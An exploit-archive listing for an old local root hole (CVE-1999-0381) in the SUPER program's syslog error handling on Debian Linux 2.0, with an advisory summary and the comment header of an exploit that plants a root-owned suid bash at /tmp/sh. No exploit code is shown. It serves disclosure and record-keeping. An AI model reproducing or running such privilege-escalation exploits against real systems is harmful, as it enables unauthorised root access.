Description

Debian Linux 2.0 Super Syslog Buffer Overflow Vulnerability. CVE-1999-0381. Local exploit for linux platform

                                        
                                            source: http://www.securityfocus.com/bid/342/info


After the first super buffer overflow vulnerability was discovered, another appeared shortly after. This vulnerability exists when the syslog option is enabled. The overflow is in the file error.c, in the Error() function where the buf[MAXPRINT] buffer is used with no bounds checking. The consequences of this are local root compromise.

* [ thanks for the ppl at sekure.org: ]

* [ jamez(shellcode), bishop, dumped, ]

* [ bahamas, fcon, vader, yuckfoo. ]

*

*

* This will exploit a buffer overflow condition in the log section of

* the SUPER program.

*

* It will create a suid bash owned by root at /tmp/sh.

* (It'll defeat the debian bash-2.xx protection against rootshell)

*

* Note: The SUPER program must be compiled with the SYSLOG option.

*

* also thanks people from #uground (irc.brasnet.org network)
